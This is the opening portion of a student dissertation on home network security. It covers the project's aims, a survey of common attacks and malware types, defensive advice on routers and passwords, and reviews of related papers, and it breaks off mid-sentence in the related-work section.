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[bookmark: _Toc480938106]Abstract

This project is about testing attacks carried out on a typical home network. Research was conducted into home networks and what affects them. This includes research into the principles behind home networks and the basic security of home networks. There is research into what common attacks are carried out on a home network and how they can affect the network or gain an attacker entrance to the network. These attacks include reconnaissance attacks, passive and active attacks, browser based attacks, snooping and sniffing attacks, man in the middle attacks, denial of service attacks, DNS spoofing, brute force and dictionary attacks and XSS scripting attacks. Other threats to home networks are analysed also and these include malware, spyware, adware, ransomware, Trojans, viruses, worms and keyloggers. There is a research section aimed at analysing related work to this project and how work created by other authors can influence this paper and work.

The research methodology section included information about the research onion. This included analysing the layers of the research onion and how the qualities of each layer affect this project. The types of research methodology used in this project are identified and justified within this section also. There is a section dedicated to project management and why this project uses the methods it does as opposed to other methods such as simulation.

Within the design and implementation the network designs are presented and the hardware specifications are listed. There is a section on the tools used and why they were used. This section also lists a little information about the tools and where they were found. There is also the router configuration file in this section that shows the basic settings of the router during the tests.

 The testing and evaluation chapter is where the attacks were conducted and tested. A dictionary brute force attacks, a man in the middle attack and a DNS spoofing attack were all successfully conducted on the home network and the step by step walkthrough and results are shown. It contains labelled print screens to show each step of the attacks in detail. From these attacks a list of security recommendations that show how the author recommends the reader to keep a home network safe and secure from these specific attacks. These are listed in bullet point list form to ensure they are clear and easy to follow.

The final section includes the conclusion for the project. This states how everything went and how effective it was. There is a section in this chapter that states recommendations for future work that could be conducted within this field of work.
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Chapter 1 - Introduction

[bookmark: _Toc121041576][bookmark: _Toc202288056][bookmark: _Toc266447524][bookmark: _Toc371255528][bookmark: _Toc480938110]1.1 Introduction
Home networks are so common these days that security is extremely vital. Criminals who look to exploit networks are now realising that it is not only commercial networks that are worth exploiting, home networks also contain data that is valuable and sometimes can’t be replaced. Technology is advancing at a rapid rate which is great, but it doesn’t come without its flaws. Most people are so relaxed when it comes to home network security and this is one of the reasons that a project like this is important and needed. Every day more and more products are being network enabled which means they can be exploited and hacked. It’s not just computers at risk anymore, its things such as mobile phones, games consoles, network-attached storage (NAS) units and even household appliances. All these things can be exploited, but your average home network user doesn’t even realise it. 
The average home network user is at the most risk when it comes to an unsecure home network. A lot people don’t know the importance of changing the default password on their router when they get it, or even how to change it. This project will look into everything from simple things such as changing the default password and why doing so is so important all the way to the most common attacks regularly conducted on home networks. Each attack will be explained and analysed and then from that the top 3 attacks will be expanded on even further and the best ways to prevent them will be explained. Also different topics around home networking signal broadcasting such as how secure the passphrase on the network should be and things like SSID names and whether the SSID should be visible or not will also be discussed.
In the past there have been numerous examples of hackers using devices on a home network as part of their own malicious schemes, and some of them go completely undetected until it’s too late. These scenarios will be discussed and how and why they happened will be discovered. Hackers are becoming smarter and more resourceful by the day which means in turn the security of a network also needs to evolve to keep ahead.
Alongside showing previous attacks and attacks that are regularly the project will also use numerous pieces of software that a typical hacker may use to exploit and manipulate a home network. This will give a visual example of how it’s done and how easy it can be. This means that Kali Linux will need to be utilised and learned to gain the means to do this. As well as this hacking software, monitoring software will also be used to show live updates of the network being attacked and what happens to it. 
    
1.2 [bookmark: _Toc202288058][bookmark: _Ref202288793][bookmark: _Toc266447525][bookmark: _Toc371255529][bookmark: _Ref480934938][bookmark: _Toc480938111]Aim
The main aim of this project is to analyse current issues with home network security and analyse how a home network can be breached. Different attacks will be demonstrated to test how efficient they are and how easy they to conduct.

[bookmark: _Toc266447526][bookmark: _Toc371255530][bookmark: _Toc480938112]1.3 Objectives
The objectives are to:
· Research into the common security flaws in home networks, the most common attacks to take place to a home network and other common threats to a home network.
· Analyse and compare previous literature and experiments that are similar in nature to this project. From there they can be used to influence this project and the results can be compared back to them. 
· Identify the research methods used for this project and analyse how and why they were chosen and used.
· Utilize software to simulate some of the typical hacks that happen on home networks and show how they are carried out.
· Use all the data collected and give ways to protect a home network efficiently in a security recommendations report.

1.4 [bookmark: _Toc202288059][bookmark: _Toc266447527][bookmark: _Toc371255531][bookmark: _Toc480938113]Structure Of The Project
The report is set out into 3 parts. The first part will contain the background research into the basics of a home networks and how they are typically comprised. Common attacks are looked at and ways in which a home network can be compromised. From these attacks three will be looked at and expanded on further. Also within the first section, previous pieces of literature will be looked at and reviewed. These pieces of literature will consist of papers and experiments carried out by other people that are similar to what this project looks to address. The second part of the project will be the actual physical implementation of the proposed network and various attacks will be carried out to see how successful they are. The third section will be analysing how effective the attacks were and how well the network held up. The results will be analysed and compared to previous similar cases and experiments to show how they compare to this project.

Chapter one illustrates an overview of the report.  It includes the introduction and details the main aim of the project. Clear objectives have been defined that once achieved will bring success to this research. 

Chapter two concentrates on the research of what a home network is a known ways to exploit them. It also looks at previous literature and how they compare to this report. Related work is also presented in this chapter where it is analysed and compared to this project. Its strengths and weaknesses are identified and states how that work can aid this project.

Chapter three reviews the chosen research methodology that this project took. It explains about the research onion and how each layer of the onion affects the research that is comprised within this project. As part of each layer the chosen approaches are explained and justified as to why they were chosen.

Chapter four details the design and implementation of the practical element of the project. It contains the designs needed for the project to be a success and includes diagrams and pictures to demonstrate the set up created. This chapter also includes written information about the hardware of the devices along with the software used and the tools used.

Chapter five analyses the results formed by the experiment and looks into how effective the attacks were or how efficient the security of the network was at preventing them. It will also contain a list of security recommendations that can be derived from the attacks performed to suggest ways of keeping a home network secure.

[bookmark: _Toc121041584][bookmark: _Toc202288061]Chapter six contains the summary of the project, a drawn of conclusion of how it all went and recommendations for future research.

1.5 [bookmark: _Toc480938114]Conclusion
This chapter includes the introduction, the main aim, the objectives of the project and the structure of the report.  The introduction provides a small background insight into home networks being hacked and why a project like this is needed and is viable. The aim of the project is clearly stated and this allows the reader to understand what this project looks to achieve by the time it is completed. The objectives are stated and these expand on how the author intends to achieve the aim of the project. These are laid out in clear bullet point so are concise and easy to follow. The structure of the report outlines each chapter and what they contain. 

[bookmark: _Toc266447540][bookmark: _Toc371255532][bookmark: _Toc266447528]












[bookmark: _Toc480938115]Chapter 2 – Research & Review of Litertaure

1. [bookmark: _Toc266710277][bookmark: _Toc266711030][bookmark: _Toc271283211][bookmark: _Toc340606375][bookmark: _Toc340611902][bookmark: _Toc340612072][bookmark: _Toc340613999][bookmark: _Toc341173665][bookmark: _Toc341173843][bookmark: _Toc341174523][bookmark: _Toc345410421][bookmark: _Toc345410752][bookmark: _Toc345412857][bookmark: _Toc371251349][bookmark: _Toc371251398][bookmark: _Toc371255378][bookmark: _Toc371255533][bookmark: _Toc480371830][bookmark: _Toc480371850][bookmark: _Toc480371933][bookmark: _Toc480372353][bookmark: _Toc480372403][bookmark: _Toc480372530][bookmark: _Toc480372946][bookmark: _Toc480373597][bookmark: _Toc480373782][bookmark: _Toc480373901][bookmark: _Toc480377406][bookmark: _Toc480405108][bookmark: _Toc480405454][bookmark: _Toc480607767][bookmark: _Toc480608526][bookmark: _Toc480608587][bookmark: _Toc480806733][bookmark: _Toc480808658][bookmark: _Toc480808734][bookmark: _Toc480810062][bookmark: _Toc480810136][bookmark: _Toc480902536][bookmark: _Toc480902625][bookmark: _Toc480916239][bookmark: _Toc480934855][bookmark: _Toc480938116][bookmark: _Toc202288068][bookmark: _Toc266447541]
[bookmark: _Toc480938117]2.1 Home Network Basics

[bookmark: _Toc371255541]A home network is two or more devices networked together within a home, often connected to the internet via a router and internet service provider (ISP) [1]. In this day and age it’s not just computers that form a home network. With the Internet of Things coming into place there is a vast range of different devices being connected to a typical home network such as mobile phones, refrigerators, televisions, security cameras and smart home controllers. These devices are often new so people assume they are safe but that isn’t always the case. These devices can have flaws that hackers can exploit and manipulate to gain access to a network. Home networks are so common that it estimated that about 15 million homes in the US have more than one PC [1]. In 2012 it was estimated that 8.7 billion devices are connected to the internet around the world and it is estimated that by 202 that number will increase to 50.1 billion [2]. Home networks are prone to attacks just as commercial networks are. A modern thief is far more likely to attempt to steal your data rather than physically break into your home [3]. This means that is absolutely vital to protect a home network as sensitive data is often kept on home networks without much concern for security. 

[bookmark: _Toc480938118]2.2 Basic home network Security

[bookmark: _Toc480938119]2.2.1 Routers
Every home network has a router. It forms the backbone of the network and is connected to the internet in a typical home network. These come direct from the ISP or manufacturer with default settings configured and users will often connect straight to the internet without even looking at these settings. This is often because users deem additional security features too advanced or just don’t invest the time in configuring the additional security that is needed to secure a home router (figure 2.1) [4]. 
[image: ]
[bookmark: _Toc480934544][bookmark: _Toc480934945]Figure 2.1 A typical Netgear home router [5]
[bookmark: _Toc480938120]2.2.2 Securing a Router
It is absolutely vital to secure a router with the advanced settings as routers are directly accessible from the internet; they are easily discoverable and are often powered on constantly. This makes it extremely easy for an attacker to gain access to the user’s personal information and files. To make matters worse the majority of home network routers have wireless features built in that can add another vulnerability [4]. 
People often argue that a hacker cannot gain access to the administrator interface of a router if they are not already directly connected to the network in the first place. This is not the case. To start with there is a vast number of tools readily available that make carrying out brute force attacks on a networks WPA2 key extremely easy, but that will be discussed later. Another thing that is often over looked is the fact that the majority of these administrator interfaces are web based, so attacks such as Cross-Site Scripting (XSS) and UI redressing can be deployed to gain access to the home network, but again this will be discussed later on.  

[bookmark: _Toc480938121]2.2.3 Router Settings
There are basic settings that should be changed as soon as the router is powered on. The absolute first thing that should be done is changing the default username and password for the administrator login privileges. These default credentials are often known by attackers or are readily available on the internet. It is vital that these are changed and a strong password is used that consist of numbers and letters over 14 characters long. For additional security it is good practice to change passwords every 30-90 days [6]. 
[bookmark: _Toc480938122]2.2.4 SSID
A typical home network will broadcast the SSID for the public eye to see. This can be disabled to minimise the chances of a potential hacker knowing the person is there. If the SSID is kept hidden then a person looking for that device would need to use specialist software to discover it’s there. If it’s a small home network then chances are the occupants are going to know the name of the SSID so it can just be inputted manually, so this is recommended [7]. The SSID should also be changed from its default. The default SSID often shows the manufacturer of the router and this can give a hint to potential hackers about how to break in. 

[bookmark: _Toc480938123]2.3 Common Attacks Carried out on Home Networks

A wide range attacks can be carried out on a home network and there is a vast range of tools available for free download available for anyone to download to aid in these attacks. In 2016 Calyptix analysed the top 10 attacks that take place on a home network. Within the document it states that brute force attacks, denial of service attacks and DNS based attacks are all common attacks to be conducted on a home network [8].

[bookmark: _Toc480938124]2.3.1 Reconnaissance Attacks 
Not all attacks are malicious and are out to destroy the entire network, but can be in the form of reconnaissance (recon) attacks. These types of attacks are purely for information gathering [9]. They are performed by a hacker to try and find out system and network information so that they can derive any weaknesses or bugs that may be present on the current system. This can easily go unnoticed and the hacker can often go undetected without leaving any trace of being in the system [10]. Using a reconnaissance attack the hacker is trying to find out such as IP addresses, subnet masks, the network topology, domain names, usernames, operating systems, TCP and UDP services currently being run, firewall information or intrusion detection systems. These types of attacks aren’t always purely based on computer and network information, but also the humans information such as names, home addresses, telephone numbers, and anything else related to the owner of the network [11]. The analogy of warfare is a good way to look at hacking, and how it is traditional for any military force to try and obtain as much information on its target as possible before an attack is carried out. This same principle applies to hacking [12] [13].

[bookmark: _Toc480938125]2.3.2 Passive Attacks
There are 2 main types of recon attacks, passive and active. A passive recon attack is where the user could look at online databases and sources to try and find out as much information about the home network user as possible. These types of attacks do exist so keeping personal information off the internet is vital and is something that is often overlooked by people [14] [15].

[bookmark: _Toc480938126]2.3.3 Active Attacks
An active recon attack is where the user would use tools to send packets out that would allow the active detection of IP addresses or firewalls. Tools that can help a hacker perform these kinds are attacks are things such as traceroute or NMAP. After this has happened the attacker will try to discover what services are currently being run and if there are any exploits available for these services [16] [17]. 

[bookmark: _Toc480938127]2.3.4 Browser Based Attacks
According to Calyptix Security, in 2016 the most common form of attack was an attack carried out from an internet browser [8]. This means that an attacker tricked the network user to download malware that can be disguised in many forms and often look extremely legitimate. From this malware the attacker can plant a base within the network for them to launch further attacks in the future[18]. Attackers target popular operating systems and browsers that have known bugs and vulnerabilities within them in order to take advantage of them. This problem can be easily fixed by regularly downloading updates for all systems and drivers that patch the vulnerability before it becomes an issue [8] [19].

[bookmark: _Toc480938128]2.2.5 Snooping/Sniffing
The majority of network communication happens in ‘cleartext’, or unencrypted format, which makes it extremely easy for an attacker to intercept and eavesdrop on the network information. This is also known as packet sniffing or snooping. This is a very prominent issue when it comes to network security and the only way to protect against it is by using an encryption technique based on cryptography. This is a very easy thing to perform however it is often overlooked by most people or seen as an expensive, non-necessity, whereas the truth is there is a vast range of free open source software available for use. If the data is intercepted then it can be changed and forwarded over the network while the sender and receiver are none the wiser [20] [21]. 

[bookmark: _Toc480938129]2.2.6 Man in the Middle Attack
A type of spoofing attack is known as a man in the middle attack. This is where an attacker would position themselves between the original sender and receiver to intercept messages and packets [22].

Address Resolution Protocol (ARP) poisoning is where an attacker changes the ARP tables of two devices to ensure that the attacking machine intercepts all data sent between them [23]. So for example on a home network if an attacker gains access they could poison the ARP table to make a legitimate computer think that the attackers computer is the router and make the router think the attackers computer is the legitimate computer. This means that all traffic going between the router and the legitimate computer now goes to the attacker’s computer and both legitimate devices have no reason to suspect anything is wrong. The attacker will then forward the data back and forth between the devices so that they still communicate but via the attackers computer [24].

A simple example of a man in the middle attack is where an email could be sent to a person that looks like it comes from a legitimate origin, but it is not legitimate. This email could ask to verify some personal details of some sorts and when the user clicks on the link within the email it will bring them through to a webpage that’s is a very carefully designed clone of the legitimate website of the organization they think they are logging into. They enter the credentials and the hacker observes these, and then forwards them onto the real site so that it logs the user in. The attacker has now essentially hijacked the online session and is complete control in regards to what the user sees and what they input.  This form of attack is so dangerous that even if a challenge appears such as security questions the attacker can relay them back to the user and then forward them onto the website, and to the user this would look exactly like the real session and they wouldn’t think anything of it [25] [26].
[image: ]
[bookmark: _Toc480934545][bookmark: _Toc480934946]Figure 2.2 – A diagram to show a man in the middle attack [27]

[bookmark: _Toc480938130]2.2.7 Denial of Service
A DoS (Denial of Service) is an attack that is carried out in order to stop legitimate network users from being able to use their network. DoS attacks started out as a way to bring down large websites and was an attack only used by legitimate hackers. Now it’s one of the most basic attacks and one of the easiest to carry out due to the large amount of programs out there that allow a user to easily carry out DoS attacks. There are 2 main types of DoS attacks, one that aims to kill network resources such as router hardware availability, and one that aims to kill the bandwidth available on the network, although both have the same desired result [28].  
In the past an attacker would have to scan a network to find vulnerabilities which allowed them launch a denial of service attack on, now this scanning can be automated though the use of worms. This means an attacker can quickly find vulnerabilities without much input or effort, which in turn makes launching a denial of service attacks much easier and quicker [29] [30]. 
The types of packets used to flood and slow down a network have varied over time but the most common ones are – 
· TCP Floods – A stream of TCP packets are sent to the victim IP containing a range of different flags. The SYN, ACK and RST flags are the most common flags to be used [31].
· ICMP echo request/reply (ping floods) – A large amount of pings are sent to the victim IP address [31].
· UDP Floods – A stream of UDP packets are sent to the victim IP address [31].

[bookmark: _Toc480938131]2.2.8 DNS Spoofing
The Domain Name System (DNS) is the system that allows a human-recognizable name to be resolved into a computer system IP Address [32]. It is observed that the misuse of DNS over the internet is widely used [33]. 

DNS spoofing is where a DNS server accepts and uses incorrect information that a host has planted within the server unauthorised [34] [35]. The DNS server is the device that translate typical internet addresses into the IP addresses of the server that the requested resources are kept [36]. If these ‘links’ are compromised then a computer can be redirected to any site the attacker chooses [37]. These sites can be clones of legitimate sites like discussed earlier, or can contain malicious content or hidden malware [38] [39]. 

[bookmark: _Toc480938132]2.2.9 Brute Force and Dictionary Attacks
The most common way to protect a system is using passwords. Within information security, humans are considered the weakest link. This is due to their habit of choosing easy to remember passwords, but where passwords are easy to remember, they are also easy to guess [40]. The act of brute force means that a computer system will try millions of different password combinations to see if it can obtain a match [41]. A dictionary attack is similar but uses a predefined list of words that will contain random common passwords. These lists are ginormous in size and often make password cracking easy work if the password is a common word or set of words [42]. 

The main way to prevent against passwords being cracked is by adhering to a strict set of rules. These rules consist of things such as change the password often, do not use the same password twice, use a different password for everything if possible, do not write the password down, do not share the password with anyone, make the password as long as possible but at least 8 characters, use upper-case, lower-case, base 10 numbers and non-alphanumeric ASCII characters when creating a password and do not use a password that is found in the dictionary [43].

Passwords are separated into two categories – trivial and non-trivial. Trivial passwords are those defined as having a 100% chance of being cracked within a certain amount of guesses. Non-trivial passwords are those that have a ‘no-guarantee’ of being cracked [44].  

[bookmark: _Toc480938133]2.2.10 Cross-site (XSS) Scripting
Cross-site scripting (also known as XSS or CSS) is where a dynamically generated web page displays input data that is not properly validated. This allows an attacker to embed malicious code within a webpage and allow it execute on a victims computer without them knowing [45]. An example of this would a user receiving a hyperlink as part of an email. This link could look safe and secure and even look like it’s from a trusted source. This link would be made to look enticing and would encourage the user to click on it. The site that it brings the user to would have the ability to login into, and if the user inputs their login details the information would be stolen due to imbedded JavaScript injected into the site by an attacker [46]. 


[bookmark: _Toc480938134]2.4 Other Common Threats to Home Networks

[bookmark: _Toc480938135]2.4.1 Malware
Malicious software (malware) is a piece of software that looks to alter or disrupt a system in some way [47]. It is designed to specifically make its way onto an end device such as a PC, phone or tablet and damage or change the information they use and utilize. Some malware is so dangerous that it can actually steal information such as credit card details [48]. There are many different forms of malware such as spyware, adware, ransomware, Trojans, worms, viruses and many more [49]. Malware can come from many sources, but the most common location a home user would have to face is the internet and e-mail. The best way to protect against malware is using real-time anti-malware software to detect suspicious activity on the fly. Attackers are developing new pieces of malware every day and these companies are countering them by ensuring their software always has the most recent up to date protection. This means that as a user the anti-malware software must be kept running and up to date at all time. If a computer is infected with malware all may not be lost, a good malware removal tool may be able to remove the malware and quarantine it safely [50].

[bookmark: _Toc480938136]2.4.2 Spyware
Spyware is malware that actively tries to collect information about the device, user, network or many other things and send it to a third party without informing the user or asking for authorisation [51]. Some versions of spyware have become extremely resilient to anti-malware software and have even evolved to the point where some versions of spyware can self-heal [52]. The main symptom of spyware is a dramatic decrease in performance of the infected machine, but other effects can be things as loss of information, unauthorised distribution of information and theft of contacts such as email address books [53]. Spyware is usually installed as a background process and the user often has no idea it’s happening to their device. A ‘drive-by download’ (a web window or pop-up trying to install the spyware quickly without warning) is common way for a computer to become infected by spyware. Other causes include accidental download, browser add-ons adding spyware, piggybacking off other software installations or even masquerading as anti-spyware software [54].   

[bookmark: _Toc480938137]2.4.3 Adware
Adware is software that allows windows to open up on an infected computer and display advertisements for the user. These advertisements are never requested by the user they just appear, making them extremely annoying. Alongside this they also drain computer resources as the devices could be trying to load in loads of advertisements [55]. These advertisements could be completely harmless, or they could be advertising malicious sites or other malicious information that may try and lure a user into clicking. This in turn can lead to other malware infecting the user’s computer.

[bookmark: _Toc480938138]2.4.4 Ransomware
Ransomware is a form of malware that focuses on threatening the user with threats such as leaking private information, deleting or encrypting the user’s information and/or data or even having the malware cause irreversible hardware damage [56]. Once the device is infected one of the most common forms of attacks is to encrypt all of the user’s data, and offer a decryption key if the victim pays a fee (figure2.3 [57].
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[bookmark: _Toc480934546][bookmark: _Toc480934947]Figure 2.3 - A typical ransomware message [58]

Often a decryption key doesn’t exist and it’s just scam to make money. The payments are normally made on the darkweb and utilize the anonymous currency, Bitcoins [59]. This means that the transactions are near impossible to trace and the attacker usually gets away. This type of attack is more commonly known as the cryptolocker virus [60].

[bookmark: _Toc480938139]2.4.5 Trojans
 A Trojan Horse is a type of malware that looks to embed itself on a victim’s device and then create a ‘backdoor’ to that computer that an attacker can use to gain unauthorised access to that device to access all the information and data stored on that device. Trojans can be extremely difficult to detect as they can either hide themselves within the device or be embedded within a legitimate programme to make the user think that the computer is safe and secure [61]. 

A Trojan works in two parts, a client part and a server part. When a victim device becomes infected with the Trojan the client part sits on the device and activates a connection to the server part. Both parts sit on the device but the server part is specifically designed to listen for incoming packets from the attacker on specific predefined ports. This connection usually uses Transmission Control Protocol (TCP) but has also been known to utilize the User Datagram Protocol (UDP). The Trojan will do its absolute best to hide within the device to make it as difficult as possible to detect and also will attempt to make changes to the device registry and start-up options to ensure it always runs on start-up [62]. 

For an attacker to connect to the victim device they must know the IP address. Some Trojans have the ability to send a hidden message to the attacker using Internet Relay Chat (IRC) which contains the victim device IP address. This means that if the victim’s internet service provider assigns a dynamic IP address every time he connects to the internet then the attacker will still know the IP address [62].

There are many things an attacker can attempt to steal after they infect a device such as credit card information, passwords, confidential documents, calendar information to gain information the victim’s whereabouts or to even use the device for illegal activity.

There are many different types of Trojans that all have different uses for an attacker some of these Trojans are – 
· Remote Access Trojan – Provides the attacker with complete control of the victim’s device. This means full access to all data and files.
· Data-sending Trojans – Send sensitive information back to the attacker such as passwords or keystrokes.
· Destructive Trojans – Purely used for the destruction and deletion of data and files. It can delete core system files to render the system useless. They can even be configured to sit idle until a given time or date and then start destroying data.
· DoS Trojans – This Trojan aims to infect as many devices as possible and then launch an attack on another victim using these infected devices as bots.
· Proxy Trojans – These Trojans turn the victim device into a proxy server. This makes it available to the whole world and can be used to perform illegal activity or make illegal purchases. 
· FTP Trojans – These Trojans open up a FTP server on the victim device and allow the storage of information. This information can often be illegal and allows the attacker to connect in via File Transfer Protocol (FTP). 
· Security Disabling Trojans – These Trojans are designed to stop all security features on a device. They can disable firewalls and anti-virus software making a device completely vulnerable to many other forms of attack [61].

[bookmark: _Toc480938140]2.4.6 Viruses
A computer virus is very similar to the flu virus; it spreads from host to host and has the ability to duplicate itself. A virus cannot infiltrate a device on its own, it needs a file, document or program to attach itself to in order to infect the target device [63]. Its main aim is to damage or disrupt the usual functions of a device and the data stored on that device. The most common way to spread a computer virus is through e-mail. E-mails can be made to look legitimate and trustworthy containing files that look harmless but in reality they can be malicious and have viruses attached to the files that are within the email [64]. 

[bookmark: _Toc480938141]2.4.7 Worms
A worm is a self-replicating piece of malware that can move freely through a network or device without having to attach onto a file, document or program, unlike a computer virus [65]. Like many other types of malware there are many types of worms such as –
· Email Worms – These arrive via email and are embedded in hyperlinks that when clicked execute the worm and allow it to spread from device to device. 
· Instant Messaging Worms – Similar to email works but arrive in the form of instant messages.
· IRC worms – These worms originate from IRC channels and can often encourage users to click malicious links that take them to infected websites.
· Fire-sharing worms – These worms copy themselves into shared files on the network. It will change itself to a harmless name and the will be distributed as peers download the file without realising what it actually is.
· Internet worms – These worms target low level TCP/IP ports directly with low security. The infected computer randomly scans for vulnerable ports and then transfers via them.
· Rabbits – These worms, known as ‘rabbits’ will infect a machine and then duplicate itself exponentially which causes computer resources to become absorbed. This is also a type of Denial of Service attack [66].

[bookmark: _Toc480938142]2.4.8 Keyloggers 
A keylogger is a tool that is used to record the keystrokes on a computer. These tools can be both hardware based and software based. The simplest form is a physical USB keylogger (figure 2.4). These devices sit between the USB port of the computer and the keyboard. They contain on-board memory and record the keystrokes locally within this memory. Although this means that the device cannot be detected by anti-malware software it does have the drawback of having to be recollected at a later date. This means it’s only practical if a hacker has physical access to the computer [67]. 
[image: ]
[bookmark: _Toc480934547][bookmark: _Toc480934948]Figure 2.4 - A typical USB Hardware Keylogger [68]


A software keylogger on the other hand can be deployed remotely and run in the background of the victim’s computer. They are designed to be completely stealthy and ensure the victim has no idea that they are being tracked. They can be attached to email files and made to execute on download. From there they can ensure that they are run on start-up. Anything a user types will then get forwarded to the attacker either by IRC or email. There is a wide range of effective Keyloggers on the market with a decent portion of them being free to use and open source [69].
                                                                                                                                                                  
[bookmark: _Toc480938143]2.5 Related work

[bookmark: _Toc480938144]2.5.1 Password Memorability and Security: Empirical Results

This piece of literature [70] looks at password strength and how different pieces of advice to users changed their password security. The journal entry has a large introduction explaining why human memory is designed to remember information that can be easily remembered and explains how it is more common for a user to choose a password that consists of words from their native language as opposed to a random sequence of uppercase letters, lowercase letters and symbols. It states that humans are not an enemy to computer security, but collaborators who need to be provided with certain information to ensure that their system is secure. The study observes that users who are not provided with said information often make their own rules up for password generation and thus often result in a weak password. To investigation separates the candidates into three separate groups and gives each group different rules to follow when creating a password. These 3 groups then had their passwords cracked using a dictionary attack and a brute force attack. The results show that there was a far higher chance of a weaker password if it was a word or phrase as opposed to random letters and non-letter characters or a mnemonic phrase. This literature greatly aids this project by giving a worked example of dictionary attacks and brute force attacks in action. It shows how dangerous the combination of these attacks and a weak password can be to the security of a network or device. The literature clearly defines the parameters set for password creation and displays results of how effective attacks were on those passwords. This can be replicated in the project to give different tiers of password security and show how passwords based off stronger or stricter rules can often greatly slow down or prevent a dictionary or brute force attack.

[bookmark: _Toc480938145]2.5.2 Passwords and Methods Used in Brute-Force Attacks
This literature [71] analyses the types of passwords used as part of a dictionary or brute force attack and the methods in which they are carried out. The experiment conducted looked at three different scenarios, attacks on a small business network, attacks on a residential home network and attacks on a university campus network. The authors set up a honeypot server on each network and observed and analysed the amount of brute force and dictionary attacks attempted on the network and the types of usernames and passwords guessed. The honeypot servers were active for a total time of 12 weeks, and within that time it was recorded that 64 separate unique attacks consisting of 18,669 login attempts and 64 source IP addresses were launched on a residential home network. When the test was carried out the honeypot servers were hardcoded with script that logged all credentials of the dictionary and brute force attacks. This information was stored locally in a database that synced to a central database for analysis. As part of the literature it states tables that contain the 10 most used usernames and 10 most used passwords. This is really useful information for this project as it gives an insight into the mind set of real life attackers and it allows recommendations to be formed to never use these credentials. The literature also gives an evaluation of how to prevent these types of attacks which can be correlated to the findings of this project. This literature is extremely useful towards this project as it allows an insight into real life dictionary and brute force attacks. This is extremely useful, however there was script hardcoded into the honeypot servers to deny login as there was no interest in letting an attacker hijack the honeypot server, only interest in the frequency of the attacks and the types of credentials used. This means that an understanding of how successful the attacks really were is hard to form. 

[bookmark: _Toc480938146]2.5.3 Flow-based Brute-force Attack Detection 
This literature [72] looks at the detection of brute force and dictionary attacks on a network and talks about how they’re becoming harder and harder to detect. It analyses some attacks that are considered ‘undetectable’ by using analysis of the network flows. It offers strengths and weakness of flow-based methods and also demonstrations into the fragility of some attacks after introducing detection evasion techniques. The literature explains the difference between noisy and stealthy brute force attacks, which can open up possibilities of different types of attacks for this project. There is a large section based on the detection of brute force attacks using different methods. These methods include signature-based approaches, similarity-based approaches, detection of automated actions and detecting abrupt changes in entropy time series. This is relevant to this project as ways to protect against brute force and dictionary attacks, this information can be directly referenced back as way to improve the project network when trying to make it more resistant to brute force attacks. The main limitation of this literature is that it is purely based on large enterprise networks and not smaller home networks. This means that the information in the literature may not be directly relatable and some of the methods discussed in the literature may not apply or be realistic when looking at a home network.

[bookmark: _Toc480938147]2.5.4 Detection of Man-in-the-middle Attacks
This literature [73] looks at different types of man in the middle attacks being carried out on Wi-Fi networks. It starts by analysing the fundamental principles of Wi-Fi networks. It discusses the principles behind the four layer TCP/IP model and the seven tier OSI model. It also discusses the differences between wired networks and wireless where the wireless adopts the form of radio waves for data transmission. The paper shows that there are only two topologies when it comes to wireless networks known as Infrastructure (Star) and Ad-Hoc (Mesh). The paper talks about Basic Service Sets (BSS) and how typically the MAC address is used as the networks BSSID. It explains how spoofing a mac address can bypass some defences such as MAC address filtering. The next chapter of the literature addresses the issue of packets travelling through the medium of radio weaves being vulnerable to anyone ‘plucking’ them out of mid-air. It also says that even though WPA2 encryption is hard to break, it’s not impossible. Within the report are shown examples of a typical set up and how an attacker may use this setup to launch a man in the middle attack, this benefit this project greatly as it provides insight into something a real life attacker may actually use. It talks about the different types of man in the middle attacks and how an attacker would typically go about using them and implementing them. It specifically includes Linux commands to many tools an attacker may use, which almost acts like a tutorial. Overall the literature is a great accompaniment to this project as it addresses a large variety of man in the middle attacks and how they would be typically used. These attacks can be implemented into the practical component of this project. Alongside analysing the wide range of attacks the literature also talks about the detection man in the middle attacks and ways to prevent against them. This information should go hand in hand with the information that is included in this project.

[bookmark: _Toc480938148]2.5.5 Understanding Wireless Attacks & Detection
This literature [74] analyses a large range of different wireless attacks and how to detect and prevent against them. It gives a really good insight into wireless frames and how they can be intercepted and dissected. It goes on to discuss and analyse a wide range of different wireless attacks including probing and network discovery, surveillance, DOS attacks, impersonation and man in the middle attacks. It also goes on to discuss the prevention of these attacks. As part of these sections tools are recommended for use in wireless intrusion detection such as Snort, WIDZ and AirIDS. This piece of literature is compiled and created by SANS Institute so we know it is trustworthy. This means that it can benefit this project greatly by providing a guide to preventing some attacks. The main focus of the paper is regarding preventing and detecting the attacks. This information can be directly carried across to this project to show the readers of the project how home networks can be protected. 

[bookmark: _Toc480938149]2.5.6 Denial of Service Attacks in Wireless Networks
This piece of literature [75] focuses on denial of service attacks on wireless networks. It focuses on the different types of DoS attacks on the physical layer and the Mac layer. It looks at both intentional attacks and unintentional reasons for a DoS to be happening. It shows that there are many different types of attacks based around both the physical layer and the Mac layer. At the physical layer intentional attacks can be things such as jamming, and at the MAC layer an intentional attack could be MAC masquerading (spoofing). Within this project MAC layer attacks is going to be a topic up for discussion. This literature talks about many different attacks at the MAC layer such as De-Authentication flooding and De-Association flooding which come under masquerading attacks. The other main type of MAC layer attack is resource exhaustion attacks, which consist of probe request flooding, authentication flooding and association flooding. Within this literature it is stated that IEEE 802.11 is extremely vulnerable to denial of service attacks and however IEEE 802.11w has helped with the protection of management frames at the MAC layer the protocol is still vulnerable by spoofing the control frames. This literature talks about how an organization can protect against DoS attacks, but doesn’t mention how a home network can be protected from attacks in much detail. It states that DoS prevention is mainly aimed at enterprise networks, but this project is aimed at home networks, so recommendations based on the advice in the literature must be made to help home network users. 

[bookmark: _Toc480938150]2.5.7 Outsourcing Home Network Security 
This literature [76] is different from the previous literature. It takes a typical home network and analyse how and why they become compromised. It states that user fault is still a major contributing factor to why a home network may be compromised and their way of addressing this issue is by outsourcing the security aspect of a typical home network to a third party company. It is stated in the literature that in outsourcing the management of home networks it allows someone with both operation experience and a broader view of the network to ensure it is safe and secure. This hasn’t been considered in this project thus far but opens up the opportunity for research into whether companies like this exist and whether they’re a feasible option for an absolute beginner at network security with absolutely no desire to learn. Within the literature it is proposed that instead of connection your home network straight to the ISP, you first connect to a controller (i.e. a third party company) that monitors and controls your home network to ensure it is safe and secure. In connecting to this controller it allows the home network user to be safe from SPAM and botnets/malware. It is said that the controller will have specific algorithms in place, such as SpamTracker or SNARE, which analyses the fingerprints of emails sent to the home network and deems them safe or not safe. It also implies that similar algorithms, such as BotMiner, can be applied to detect botnets by applying cross cluster correlation to identify the hosts that share both similar communication 